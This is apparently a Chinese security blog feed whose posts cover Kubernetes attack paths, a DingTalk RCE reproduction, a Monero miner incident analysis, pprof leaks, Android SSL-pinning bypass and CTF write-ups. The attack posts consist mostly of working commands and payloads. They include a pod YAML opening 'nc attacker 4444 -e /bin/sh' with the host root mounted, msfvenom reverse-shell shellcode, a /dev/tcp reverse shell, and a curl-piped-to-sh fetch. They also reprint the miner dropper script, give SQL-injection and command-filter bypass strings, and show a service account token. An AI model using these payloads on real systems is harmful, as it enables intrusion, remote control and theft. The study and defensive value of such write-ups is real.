10250端口是kubelet API的HTTPS端口,该端口对外提供了Pod和Node的相关信息,如果该端口对公网暴露,并且关闭授权,则可能导致攻击。

curl -k https://172.18.0.2:10250/run/{namespace}/{podName}/{appName} -d "cmd=whoami"或:curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/<container-name>?command=touch&command=hello_world&input=1&output=1&tty=1"

Kubernetes Dashboard未授权访问

如果Kubernetes API Server配置了Dashboard,通过路径/ui即可访问,直接访问部署一个docker即可

apiVersion: v1kind: Podmetadata:  name: testspec:  containers:  - name: busybox    image: busybox:1.29.2    command: ["/bin/sh"]    args: ["-c", "nc attacker 4444 -e /bin/sh"]    volumeMounts:    - name: host      mountPath: /host  volumes:  - name: host    hostPath:      path: /      type: Directory

k8s serviceaccount token 泄露

由于k8s集群部署的时候默认会在每个pod容器中挂载token文件到
/run/secrets/kubernetes.io/serviceaccount/token

我们可以通过命令行工具 kubectl来对api-server进行操作。

创建一个k8s.yaml配置文件,如下,token处为我们上面拿到的token,server则填写 api-server的地址

apiVersion: v1clusters:- cluster:    insecure-skip-tls-verify: true    server: https://10.247.0.1  name: cluster-namecontexts:- context:    cluster: cluster-name    namespace: test    user: admin  name: admincurrent-context: adminkind: Configpreferences: {}users:- name: admin  user:    token: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tbDh4OGIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjZiYTQzN2JkLTlhN2EtNGE0ZS1iZTk2LTkyMjkyMmZhNmZiOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.XDrZLt7EeMVlTQbXNzb2rfWgTR4DPvKCpp5SftwtfGVUUdvDIOXgYtQip_lQIVOLvtApYtUpeboAecP8fTSVKwMsOLyNhI5hfy6ZrtTB6dKP0Vrl70pwpEvoSFfoI0Ej_NNPNjY3WXkCW5UG9j9uzDMW28z-crLhoIWknW-ae4oP6BNRBID-L1y3NMyngoXI2aaN9uud9M6Bh__YJi8pVxxg2eX9B4_FdOM8wu9EvfVlya502__xGMCZXXx7aHLx9_yzAPEtxUiI6oECo4HYUtyCJh_axBcNJZmwFTNEWp1DB3QcImBXr9P1qof9H1fAu-z12KLfC4-T3dnKLR9q5w

执行以下命令远程连接进入题目的k8s集群,成功通过认证。

kubectl --kubeconfig k8s.yaml cluster-info --insecure-skip-tls-verify=true

Etcd未授权访问

其默认监听了2379等端口,如果2379端口暴露到公网,可能造成敏感信息泄露。

首先在Kubernetes中可以更改配置/etc/Kubernetes/manifests/etcd.yaml文件的内容,来将2379端口向外暴露

Etcd v2和v3是两套不兼容的API,K8s是用的v3,所以需要先通过环境变量设置API为v3

export ETCDCTL_API=3

列出该目录所有节点的信息
http://152.7.98.135:2379/v2/keys

添加上recursive=true参数,就会递归地列出所有的值
http://152.7.98.135:2379/v2/keys/?recursive=true

http://152.7.98.135:2379/v2/members 集群中各个成员的信息

安装etcdctl,可以使用类似的方式查询API

etcdctl --endpoint=http://[etcd_server_ip]:2379 ls

若存在路径/registry/secrets/default,其中可能包含对集群提升权限的默认服务令牌。

参考文章:

https://xz.aliyun.com/t/4276
https://tttang.com/archive/1389/
https://www.freebuf.com/vuls/196993.html
https://annevi.cn/2020/12/21/%E5%8D%8E%E4%B8%BA%E4%BA%91ctf-cloud%E9%9D%9E%E9%A2%84%E6%9C%9F%E8%A7%A3%E4%B9%8Bk8s%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98/

]]>
<h3 id="云容器安全初识"><a href="#云容器安全初识" class="headerlink" title="云容器安全初识"></a>云容器安全初识</h3><h4 id="API-Server未授权访问"><a href="#API-Server未授权访问" c
钉钉6.3.5RCE https://misakikata.github.io/2022/02/钉钉6-3-5RCE/ 2022-02-16T10:08:43.000Z 2022-02-16T10:08:43.414Z 钉钉RCE

大佬的POC:https://github.com/crazy0x70/dingtalk-RCE

复现:

本地开一个服务

python3 -m http.server

输入:

dingtalk://dingtalkclient/page/link?url=http://192.168.230.207:8000/1.html&pc_slide=true

image-20220216173101053

测试还发现,这个POC只能在群组里触发,如果发给个人,比如我这里发给自己是不能触发的。

修改shellcode的:

msfvenom -a x86 –platform windows -p windows/exec cmd="curl kaili.erojuu.dnslog.cn" -e x86/alpha_mixed -f csharp

把生成的shellcode替换到:

var shellcode=new Uint8Array([.....])

再去触发

image-20220216174452158

只不过这个命令或产生一个curl的命令界面

image-20220216174522170

使用powershell,依然会有那么一闪而过的页面

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command "curl kaili.erojuu.dnslog.cn"

反弹shell

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.36.130 LPORT=8834 -e x86/shikata_ga_nai -f csharp

image-20220216175954719

当然如果没有复现成功,查看一下自己的版本是否正确,他会自动升级,如果显示如下,有可能是自己升级了。

image-20220216173847471

]]>
<h3 id="钉钉RCE"><a href="#钉钉RCE" class="headerlink" title="钉钉RCE"></a>钉钉RCE</h3><p>大佬的POC:<a href="https://github.com/crazy0x70/dingtalk-RCE"
XMR门罗币挖矿应急 https://misakikata.github.io/2022/02/XMR门罗币挖矿应急/ 2022-02-08T08:39:02.000Z 2022-02-08T08:39:02.676Z curl -O 2.58.149.237:6972/hoze

image-20220117135255528

image-20220117135335865

文件内容为:

#!/bin/bashcores=$(nproc)temp=$(cat /proc/meminfo | grep MemAvailable | awk  '{print$2}')ram=$(expr $temp / 1000)echo $coresecho $ram#ram=10rm -rf hozerm -rf /var/tmp/hoze[[ ! $(uname -a) =~ "x86_64" ]] && exit#####################################function SlowAndSteady {cd /var/tmp ; curl -O 2.58.149.237:6972/xri3.tar || cd1 -O 2.58.149.237:6972/xri3.tar || wget 2.58.149.237:6972/xri3.tar && tar -xvf xri3.tar && mv xri3 .xri && rm -rf xri3.tar && cd .xri ; chmod +x * ; ./init0 ; history -c ; rm -rf ~/.bash_history​}​function MoneyFactory {cd /var/tmp ; curl -O 2.58.149.237:6972/xrx2.tar || cd1 -O 2.58.149.237:6972/xrx2.tar || wget 2.58.149.237:6972/xrx2.tar && tar -xvf xrx2.tar && mv xrx2 .xrx && rm -rf xrx.tar && cd .xrx ; chmod +x * ; ./init0 ; history -c ; rm -rf ~/.bash_history​}#####################################rm -rf /var/tmp/.xrirm -rf /var/tmp/.xrxrm -rf /var/tmp/.xpkill -9 xripkill -9 xrxpkill -STOP xmrigpkill -STOP Operarm -rf ~/Opera​#####################################if [ "$EUID" = 0 ]; then    chmod 755 /usr/bin/chattr > /dev/null 2>&1    chattr -ia /etc/newinit.sh > /dev/null 2>&1    rm -rf /etc/newinit.sh > /dev/null 2>&1    chattr -R -ia /var/spool/cron > /dev/null 2>&1    chattr -ia /etc/crontab > /dev/null 2>&1    chattr -R -ia /var/spool/cron/crontabs > /dev/null 2>&1    chattr -R -ia /etc/cron.d > /dev/null 2>&1fichattr -ia /tmp/newinit.sh > /dev/null 2>&1rm -rf /tmp/newinit.sh > /dev/null 2>&1echo "crontab info:"crontab -lcrontab -r > /dev/nullchattr -ia /etc/zzh > /dev/nullchattr -ia /tmp/zzh > /dev/nullrm -rf /etc/zzh > /dev/nullrm -rf /tmp/zzh > /dev/nullpkill -f "zzh" > /dev/nullchattr -ia /tmp/.ice-unix > /dev/nullrm -rf /tmp/.ice-unix > /dev/nullchattr -ia /usr/local/bin/pnscan > /dev/nullrm -rf /usr/local/bin/pnscan > /dev/nullpkill -f "pnscan" > /dev/nullmv /bin/top.original /bin/top#####################################if (( $cores < 4 )) || (( $ram < 2300 )) ; then    echo "installing trtl miner"    SlowAndSteadyelif (( $cores >= 4 )) && (( $ram >= 2300 )) ; then        echo "installing xmr miner"    SlowAndSteadyfi

前几步是用来判断系统的内存和进程限制,但对后面的运行实际没有区别,非x86架构则直接退出运行。中间有个下载文件,是一个二进制文件,下载下来查看一下。

curl -O 2.58.149.237:6972/xri3.tar

image-20220117144846484

后门先进行进程的清理,然后在root下修改定时任务文件,删除了一个shell文件/etc/newinit.sh,我去查了一下这个文件,发现也是一个挖矿的定时程序,原来是先把别的程序给他删了,再去执行自己的。同时修改文件的属性,便于更改。后续还删除了pnscan,这个是针对reids的挖矿病毒,会修改top文件为top.original,这里也贴心的帮你修改过来了。

原pnscan病毒会修改top为:echo "top.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/top

只是它还会修改ps命令,这里没有修改回来,看来还不够贴心。

不管你系统是多少内存啥的,反正都给你运行函数SlowAndSteady。会解压在/var/tmp目录下,更改名称为.xri。执行目录下的chmod +x * ; ./init0,同时给你删除掉命令记录,同时删除下载的压缩包。

从文件内看到一个key文件,里面是ssh的公钥,说明保留采用公钥的方式登陆的后门。

/root/.ssh/authorized_keys

会在/etc/crontab里写入定时任务

@weekly root /var/tmp/.x/secure@reboot root /var/tmp/.x/secure

config里配置了门罗币的地址

"url": "5.9.157.2:10380",            "user": "TRTLv1M57YFZjutXRds3cNd6iRurtebcy6HxQ6hRMCzGF5nE4sWuqCCX9vamnUcG35BkQy6VfwUy5CsV9YNomioPGGyVhKTze3C",            "pass": "x",            "rig-id": "pooled",

执行的程序为/var/tmp/.xri下的xri文件,后续还会在/var/tmp/.x下把scp和secure拷贝进来,上面的定时任务也是针对这个secure文件。

程序还会在创建一个cheeki的普通用户,密码写在shadow文件内,看起来是跟root一个密码。但是这个密码是修改过,也就是root的密码修改为其他密码了。

root:$6$u3a2aCKC$TULEOlBwPWBIAYZkG0NNNbWM.9tRozeHUO2HyRvlTQpekaOQ2E3S5E5/gqyOnVAtaF8G41oZS0KRioLw7PfzT1:19011:0:99999:7:::bin:*:18353:0:99999:7:::daemon:*:18353:0:99999:7:::adm:*:18353:0:99999:7:::lp:*:18353:0:99999:7:::sync:*:18353:0:99999:7:::shutdown:*:18353:0:99999:7:::halt:*:18353:0:99999:7:::mail:*:18353:0:99999:7:::operator:*:18353:0:99999:7:::games:*:18353:0:99999:7:::ftp:*:18353:0:99999:7:::nobody:*:18353:0:99999:7:::systemd-network:!!:19011::::::dbus:!!:19011::::::polkitd:!!:19011::::::sshd:!!:19011::::::postfix:!!:19011::::::chrony:!!:19011::::::cheeki:$6$u3a2aCKC$TULEOlBwPWBIAYZkG0NNNbWM.9tRozeHUO2HyRvlTQpekaOQ2E3S5E5/gqyOnVAtaF8G41oZS0KRioLw7PfzT1:19011:0:99999:7:::

scp文件从作用上看,是负责进程维护和修改定时任务的

#!/bin/bashwhile true; do /var/tmp/.x/secure ; sleep 10; done

从进程中scp启动后,xri才会出现,也就是xri至少是secure产生的,init.sh里面倒是写明白了启动xri并且使用diswon后台维护。整个流程中secure是关键运行文件。

因此需要查看被爆破的用户是哪个,去除密钥和用户,删除定时任务和进程。重启之前记得修改root密码。

]]>
<pre class="line-numbers language-none"><code class="language-none">curl -O 2.58.149.237:6972&#x2F;hoze<span aria-hidden="true" class="line-
Go 内存泄露 https://misakikata.github.io/2021/12/Go-内存泄露/ 2021-12-28T10:30:03.000Z 2021-12-28T10:31:44.854Z goroutine泄露

这里所说的Go内存泄露是指goroutine泄露。如果你启动了1个goroutine,但并没有符合预期的退出,直到程序结束,此goroutine才退出,这种情况就是goroutine泄露。在此之前先来认识一下pprof,pprof是Go的性能分析工具,在程序运行过程中,可以记录程序的运行信息,可以是CPU使用情况、内存使用情况、goroutine运行情况等。

Go已经有一个封装好的net/http/pprof,使用简单的几行命令,就可以开启pprof,记录运行信息,并且提供了Web服务。

如果一个存在的Go内存泄露情况如下:

http://xxxx/debug/pprof/

image-20211228111613802

allocs:所有过去内存分配的样本
block:导致同步阻塞的堆栈跟踪
cmdline:当前程序的命令行调用
goroutine:所有当前 goroutine 的堆栈跟踪
heap:活动对象的内存分配示例。 您可以指定 gc GET 参数以在获取堆样本之前运行 GC。
mutex:竞争互斥体持有者的堆栈跟踪
profile:CPU 配置文件。 您可以在 seconds GET 参数中指定持续时间。 获取配置文件后,使用 go tool pprof 命令调查配置文件。
threadcreate:导致创建新操作系统线程的堆栈跟踪
trace:当前程序执行的轨迹。 您可以在 seconds GET 参数中指定持续时间。 获取跟踪文件后,使用 go tool trace 命令调查跟踪。

比如点一个cmdline,查看运行的命令,也许会包括账号密码。

/debug/pprof/cmdline?debug=1

image-20211228111836637

点击profile或者trace的时候会下载一个编译的文件,里面含有进程信息以及程序信息。使用如下命令查看,可以看到这是一个so文件。

go tool pprof .\profile# go tool pprof http://xxx/profile

image-20211228112643219

查看进程函数占用,查看命令介绍可以使用help。

image-20211228113041465

也可以下载heap查看,需要删掉链接上自动带的debug=1。

image-20211228131632457

这个heap文件写的是什么

/debug/pprof/goroutine?debug=1

image-20211228133437841

大概能看出来的是有62个goroutine被挂起,不能退出。这里面有6个goroutine挂在了wss_client.go的104行。

image-20211228134321120

pprof分析

先安装一个graphviz:https://graphviz.gitlab.io/_pages/Download/Download_windows.html

go tool pprof --http=":8999" https://xxxx/debug/pprof/heap

image-20211228142010787

颜色越深越大的代表占用和耗时越多

image-20211228142130766

goroutine 泄露的场景

goroutine泄露的本质是channel阻塞,无法继续向下执行,导致此goroutine关联的内存都无法释放,进一步造成内存泄露。

  1. channel的读或者写:
    1. 无缓冲channel的阻塞通常是写操作因为没有读而阻塞
    2. 有缓冲的channel因为缓冲区满了,写操作阻塞
    3. 期待从channel读数据,结果没有goroutine写
  2. select操作,select里也是channel操作,如果所有case上的操作阻塞,goroutine也无法继续执行。

参考文章:

https://segmentfault.com/a/1190000019222661

https://segmentfault.com/a/1190000019644257

]]>
<h3 id="goroutine泄露"><a href="#goroutine泄露" class="headerlink" title="goroutine泄露"></a>goroutine泄露</h3><p>这里所说的Go内存泄露是指goroutine泄露。如果你启动了1个g
Android认证方式和绕过 https://misakikata.github.io/2021/12/Android认证方式和绕过/ 2021-12-22T08:28:34.000Z 2021-12-23T08:28:27.718Z 源码

源码来自:https://github.com/Ch3nYe/httpstest

参考文章:https://ch3nye.top/Android-HTTPS%E8%AE%A4%E8%AF%81%E7%9A%84N%E7%A7%8D%E6%96%B9%E5%BC%8F%E5%92%8C%E5%AF%B9%E6%8A%97%E6%96%B9%E6%B3%95%E6%80%BB%E7%BB%93

打包好的APP,启动目录下的http_server,同时修改host把www.test.com指向本地。包名为:com.example.httpstest

安装后如下所示:

image-20211216112037976

然后为了方便代理,我们安装一个ProxyDroid:https://github.com/madeye/proxydroid

可以从谷歌商店代理下载:https://apkpure.com/store/apps/details?id=org.proxydroid

这个东西是利用Android iptables代理,捕获所有APP数据包。一般做WiFi代理的话,有些流量不会走代理,或者还可以使用VPN的代理模式比如Postern。

一开始的两个直接做了代理就可以抓到,就不演示了。

HTTPS系统证书校验

在Android7以上的系统,用户证书不再信任,此处配置证书到系统证书目录。

openssl x509 -inform DER -in burp.der -out cacert.pemopenssl x509 -inform PEM -subject_hash_old -in cacert.pem     =>  hashmv cacert.pem <hash>.0adb push hash.0 /sdcard    //由于系统读写权限问题,不一定能直接上传到system目录。mount -o remount,rw /system   //root权限下执行cp /sdcard/hash.0 /system/etc/security/cacerts/chmod 644 /system/etc/security/cacerts/hash.0

第一行就是那个hash

image-20211216135309890

后续点击执行

image-20211216135944342

SSLPINNING 代码校验

这里的校验是公钥,由于中间穿插了burp,所以burp即是客户端,又是服务端,app校验的是burp的公钥导致校验失败。此处使用的是frida,先去下载frida:https://github.com/frida/frida/releases

adb push frida-server /data/local/tmpadb forward tcp:27042 tcp:27042adb forward tcp:27043 tcp:27043cd /data/local/tmp/chmod 755 frida-server./frida-server

作者提供了一个frida脚本,但是按照使用方式我这边会重启模拟器,也许是模拟器的原因?这里按照一个python脚本来调用这个js脚本。

#coding:utf8import frida, sys,os,json,codecsimport subprocessimport timeimport ctypesif (len(sys.argv) == 3):    jsfile = str(sys.argv[1].strip())    package_name = str(sys.argv[2]).strip()else:  print "Usage: python frida_attach.py [hook.js] [package_name] "  sys.exit(1)def print_result(message):    print ("[!] Received: [%s]" %(message))def stringFromArray(data):    ret = ''    for i in data:        value = ctypes.c_uint8(i).value        if value == 0:            continue        if value <=127:            ret += chr(value)        else:            ret += '\\x' + hex(value)[2:]    return retdef hex_stringFromArray(data):    ret = '['    for i in data:        value = ctypes.c_uint8(i).value        ret += hex(value) + ","    return ret + "]"def on_message(message, data):    print(data)    if 'payload' in message:        data = message['payload']        if type(data) is list:            print stringFromArray(data)        else:            print data       else:        if message['type'] == 'error':            print (message['stack'])        else:            print messagedef main():    with codecs.open(jsfile, 'r', encoding='utf8') as f:         jscode  = f.read()    process = frida.get_device_manager().enumerate_devices()[-1].attach(package_name)    script = process.create_script(jscode)    script.on('message', on_message)    script.load()    sys.stdin.read()if __name__ == '__main__':    main()

执行如下后,就可以bypass。

python .\frida_attach.py .\new_sslpinning.js httpstest

image-20211216154316093

配置文件校验跟上面的形式差不多,只是一个代码实现,一个在res/xml/network_security_config.xml配置文件中实现。

单向校验的话,还可以使用Xposed和justtrustme一起配合来绕过。

双向校验

需要先启动目录下的http_server服务,如果访问的话,浏览器会显示异常的链接请求。

需要先把certs目录下的client.p12安装到访问浏览器,密码是clientpassword。再去访问浏览器发现可以显示,同样需要把证书加到burp,让证书可以用证书进行认证。

在user options – TLS – Client TLS certificates中添加,填入域名www.test.com,输入密码即可。

image-20211216161336849

也就是如果需要绕过这种双向验证,需要客户端的证书来对请求进行身份验证。一般情况下这个证书获取从APP

解压,查看assets或者res目录内,查找是否有pfx、cer、p12格式的证书。最后我们需要导入p12的证书。

frida(1)

当然不少的APP可能存在加壳加密等办法,证书和密码的获取不是那么简单,这里提供一种利用frida来获取证书和密钥的办法。

下载frida-extract-keystore:https://gist.github.com/ceres-c/cb3b69e53713d5ad9cf6aac9b8e895d2

运行脚本后,会自动的启动APP,需要在脚本内修改APP包名,点击需要执行的功能,也就是触发请求。

image-20211217113149894

脚本会自动抓取写在代码内的密码和保存证书,以jks的形式。然后需要去提取公钥。

keytool -list -rfc -keystore .\keystore1.jks -storepass clientpassword

把显示的内容保存在cer格式的证书中。导出私钥先转换为pfx。

keytool -v -importkeystore -srckeystore server.jks -srcstoretype jks -srcstorepass clientpassword -destkeystore server.pfx -deststoretype pkcs12 -deststorepass clientpassword -destkeypass 12345678

利用pfx导出key,密码还是上面查到的密码

openssl pkcs12 -in server.pfx -nocerts -nodes -out server.key

再利用key和证书生成p12证书,可以导入burp的那种,密码是我们上面设置的12345678。

openssl pkcs12 -export -clcerts -in client-cert.cer -inkey client-key.key -out client.p12

当没有配置证书的时候,抓包显示Communication error。配置进行这个p12。密码为12345678

image-20211217134216895

再次访问即可成功。

frida(2)

如果能获取证书,但是需要查找密码,而又懒得去解包或者不好脱壳,可以尝试查密码的frida脚本。

frida js :https://raw.githubusercontent.com/m0bilesecurity/Frida-Mobile-Scripts/master/Android/tracer_keystore.js

使用上面的python2脚本来调用。

python .\frida_attach.py .\tracer_keystore.js httpstest

点击触发功能,会显示如下

image-20211217134908128

由于可以解包获取其中的p12证书,所以直接导入证书和密码到burp即可。

]]>
<h3 id="源码"><a href="#源码" class="headerlink" title="源码"></a>源码</h3><p>源码来自:<a href="https://github.com/Ch3nYe/httpstest">https://github.com/
洞态IAST初使用 https://misakikata.github.io/2021/12/洞态IAST初使用/ 2021-12-09T03:10:04.000Z 2023-01-09T03:16:50.249Z 安装

按照官方文档,https://doc.dongtai.io/02_start/index.html

使用docker来安装,直接执行

git clone https://github.com/HXSecurity/DongTai.gitcd deploy/docker-compose/./dtctl install -v 1.1.2

不过这个创建docker有一个问题就是,openapi的端口没有被开启,修改dtctl,给openapi添加端口。这个端口的开启在1.0.5中,需要自己去填写openapi。

dongtai-openapi:    image: "dongtai.docker.scarf.sh/dongtai/dongtai-openapi:$CHANGE_THIS_VERSION"    restart: always    ports:       - "8000:8000"

image-20211208141900279

使用账号密码admin/admin登陆,查看状态监控,基本就是如下显示

image-20211208155958875

初测试

下载agent,此处使用IDEA来配置,在启动参数中添加,此处使用一个Spring的项目Ruoyi4.6版本。

image-20211208160954655

洞态这边会显示一个agent:

image-20211208161019830

我们在ruoyi的后台点点点

image-20211208161723992

在洞态那边可以看到已经有一堆数据过来了

image-20211208161757676

旁边还存在依赖检测

image-20211208162407807

只不过这个检测注入有点问题,比如上面检测到pageSize存在问题,我们跟随调试一下。进行到如下代码,此处意思是获取参数名。

image-20211208172131061

这里获取参数中排序的参数值此处是传输的asc

image-20211208172203836

下面的getPageSize是获取参数PageSize,但是这个函数返回类型是Integer。所以当传输一些字符返回的是null。

image-20211208172329146

num和size不为null的时候,这里getOrderBy把参数orderByColumn和isAsc进行了拼接,escapeOrderBySql把参数值进行了一次判断,正则匹配字母数字和下划线,逗号,点。如果想靠这两个参数拼接也不行。

image-20211208183537516

这个版本存在一个注入,而这个注入跟这个参数其实没啥关系,ruoyi使用了mybatis,上面这个功能点确实是存在问题,查看sql的目录文件SysRoleMapper.xml。

找到id为selectRoleList,下面就可以看到了,其实是用了$来传参。

image-20211208183920487

但是这个参数并不能直接利用,因为这个参数不在上面这个请求里。需要手动添加一下

image-20211208184326669

这个功能上确实是存在注入问题,但是检测没有找准参数,这个点也许是由于这个参数不存在的原因,导致检测存在一些偏差。

]]>
<h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><p>按照官方文档,<a href="https://doc.dongtai.io/02_start/index.html">https://do
BMZCTF做题记录 https://misakikata.github.io/2021/10/BMZCTF做题记录/ 2021-10-19T03:00:14.000Z 2021-10-19T03:02:35.000Z 端午就该吃粽子

访问login.php,会给一个这样的链接http://www.bmzclub.cn:22937/login.php?zhongzi=show.php

看样子是文件读取的漏洞,尝试读取一个passwd文件。

image-20210922170259145

可以直接读取,再去试试根目录下的flag文件,提示你是偷粽子的。从匹配上看是只要存在flag这个词就不行。

image-20210922170335891

尝试利用远程包含,屏蔽了http关键词。file没有屏蔽,但是不能读取flag。那就尝试一下伪协议。

php://input不给用,都会报错。

image-20210922171943816

尝试读取的命令php://filter

php://filter/convert.base64-encode/resource=./show.php

image-20210922172127683

解编码后发现是页面的HTML源码。里面注释了index.php。读取发现是如下php代码

php://filter/convert.base64-encode/resource=./index.php

image-20210922172304376

<?phperror_reporting(0);if (isset($_GET['url'])) {  $ip=$_GET['url'];  if(preg_match("/(;|'| |>|]|&| |python|sh|nc|tac|rev|more|tailf|index|php|head|nl|sort|less|cat|ruby|perl|bash|rm|cp|mv|\*)/i", $ip)){      die("<script language='javascript' type='text/javascript'>      alert('no no no!')      window.location.href='index.php';</script>");  }else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){      die("<script language='javascript' type='text/javascript'>      alert('no flag!')      window.location.href='index.php';</script>");  }  $a = shell_exec("ping -c 4 ".$ip);  echo $a;}?>

其中可以看到的是,基本过滤了文件读取的命令和常见反弹shell的方式,然后还不准同时出现flag这四个字符。

上面过滤的命令中,恰好有一个tail没有过滤,也就是使用这个来读取flag。

尝试先执行个命令看看

image-20210922173502404

然后tail去读文件,但是空格被禁用了,fuzz一下发现可以使用%09,但是还有flag不能用。这个可以使用通配符来绕过读取,最后就是

index.php?url=127.0.0.1||tail%09/fla?

image-20210922173801969

hitcon_2017_ssrfme

访问给出的地址,首页是一段PHP代码

<?php     $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);     @mkdir($sandbox);     @chdir($sandbox); ​    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));     $info = pathinfo($_GET["filename"]);     $dir  = str_replace(".", "", basename($info["dirname"]));     @mkdir($dir);     @chdir($dir);     @file_put_contents(basename($info["basename"]), $data);     highlight_file(__FILE__);

看代码是使用IP地址来生成一个目录,这个目录我们可以根据自己的出口IP来确认,然后使用shell_exec来执行命令。使用传入的文件名参数进行创建目录,如果存在目录则去掉点,应该是防止目标遍历,最后生成文件名的文件,写入shell_exec执行的结果。

一开始还以为是需要执行命令来看,先来看看大概的执行结果,发现写入的是首页。才想起来这是个SSRF的题。

/?url=http://127.0.0.1&filename=123.123

尝试利用file协议来读取flag

/?url=file:///flag&filename=123.123

利用orange和IP生成md5,到指定目录下查看文件

/sandbox/8c2xxx9c5/123.123

image-20210924101620908

n1ctf/hard_php

image-20210924141002836

一个登陆页面,按照惯例查看是否使用是文件包含读取,修改login为index,发现有登陆验证跳转,修改为

/index.php?action=../../../etc/passwd

image-20210924141101145

尝试去读取flag

image-20210924141120638

WEB_penetration

这个题目稍微有点奇怪,一直在报错,不确定是不是程序问题。代码为:

<?phphighlight_file(__FILE__);if(isset($_GET['ip'])){    $ip = $_GET['ip'];    $_=array('b','d','e','-','q','f','g','i','p','j','+','k','m','n','\<','\>','o','w','x','\~','\:','\^','\@','\&','\'','\%','\"','\*','\(','\)','\!','\=','\.','\[','\]','\}','\{','\_');    $blacklist = array_merge($_);    foreach ($blacklist as $blacklisted) {        if (strlen($ip) <= 18){            if (preg_match ('/' . $blacklisted . '/im', $ip)) {                die('nonono');            }else{            exec($ip);            }                    }        else{        die("long");        }    }    }?>

这个代码看起来是屏蔽了很多关键词,实际上是一个词匹配去查一次,也就是总共进行很多次匹配,有一次符合最后则返回nonono。那么也就是只需要第一次绕过这个过滤就算后面匹配到,命令依然执行了,所以限制只有长度不超过十八即可。但是结果并不会显示,所以我们需要进行一定的外带的办法。

/?ip=ls+/>1.txt

image-20210924152835470

flag并不在根目录,查看其他目录。没有发现其他可读目录下存在,那可能在root目录,需要一定的提权方式,这种读写的办法就不太适用了。

image-20210924154101831

想办法反弹一个shell出来,由于长度限制,此处不直接使用IP,转为十进制IP。利用如下

/?ip=curl+1093xxx907|sh

web服务使用flask搭建,写一个简单的返回。
@app.route('/')
def hello_world():
return 'bash -c "bash -i >& /dev/tcp/65.49.209.99/8888 0>&1"'

image-20210924155033081

查找有没有可用的SUID

find / -perm -u=s -type f 2>/dev/null

image-20210924155231086

其中有一个奇怪的love程序,执行后类似是PS的查看进程的结果。所以可能需要劫持PS命令来提取。

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH

再去执行love,即可调用当前tmp目录下的ps命令,获取到一个root的shell。

image-20210924160909016

其中demo.c应该就是love的源代码

# cat demo.c

#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("ps");
}

流量监控平台

WEb界面需要登陆,账号admin/123456登陆。

image-20210926100053004

可以执行命令,看样子是绕过命令执行。由于不回显,所以使用DNS外带的方式。先测试一下可能使用的命令,发现常用的命令不能使用,比如ping,curl等会报错,采用单引号分隔绕过黑名单。还在报错,测试发现是拦截了空格。使用%09绕过。

ord=ls;pi''ng%09byvdxx.dnslog.cn

image-20210926100226721

发现可行,然后使用ceye的监听平台

ord=ls;pi''ng%09`whoami`.xxxxb4.ceye.io

image-20210926100350410

查看flag

ord=ls;pi''ng%09`cat%09/flag`.r9rub4.ceye.io

image-20210926100456158

rctf2015_easysql

打开是一个注册登陆页面,需要先注册个账号登陆,里面就是一些有的没得功能,还有一个修改密码。既然是注入,那就先把注册登陆看看有没有注入点,但是在注册的时候有过滤。

按照惯例,可能是二次注入,注册一个存在问题的用户名,然后在后续调用的时候触发注入,后续调用明显就是修改密码,这里只传输密码,那可能就是从session获取用户名。先去看看怎么构造能报错啥的。

从过滤上看and,or,空格等都被过滤掉了。有几个是注册成功的先去查看一下

image-20210926161421706

登陆admin%22%2f%2a的时候,去修改密码功能,发现报错

image-20210926161510472

从报错上看SQL语句大概是

update user set pwd="xxxx" where username="admin"/*" and pwd='698d51a19d8a121ce581499d7b701668';

构造一个报错语句

username=1"and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#

但是上面这个语句并不能使用,其中有空格和and符,修改为如下:

username=1"%26%26(updatexml(1,concat(0x7e,(select%0buser()),0x7e),1))#

登陆再去修改密码,发现可以正常执行,那就查库查表查字段一条龙服务。

image-20210926162235294

当前库web_sqli

username=1"%26%26(updatexml(1,concat(0x7e,(select%0bdatabase()),0x7e),1))#

查看库内的表,正好第一次就是flag表

username=1"%26%26(updatexml(1,(select%0bconcat(0x7e,(table_name),0x7e)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='web_sqli'%0blimit%0b1,1),1))#

image-20210926163153625

查看字段,就存在一个flag字段

1"%26%26(updatexml(1,(select%0bconcat(0x7e,(column_name),0x7e)%0bfrom%0binformation_schema.columns%0bwhere%0btable_name='flag'%0blimit%0b0,1),1))#

查看字段值,显示RCTF{Good job! But flag not her,啊这。。。

1"%26%26(updatexml(1,(select%0bconcat(0x7e,flag,0x7e)from%0bflag%0blimit%0b0,1)%0b,1))#

懂了,那个flag表是骗人的。再查询一遍还有article表和users表,用users表来查找。终于在字段中查到一个real_flag_1s_here

1"%26%26(updatexml(1,(select%0bconcat(0x7e,(column_name),0x7e)%0bfrom%0binformation_schema.columns%0bwhere%0btable_name='users'%0blimit%0b3,1),1))#

再来查看字段值,limit查看都是一个个xxx,直接聚合输出

1"%26%26(updatexml(1,(select%0bconcat(0x7e,(select%0bgroup_concat(real_flag_1s_here)from%0busers),0x7e))%0b,1))#

image-20210926165906689

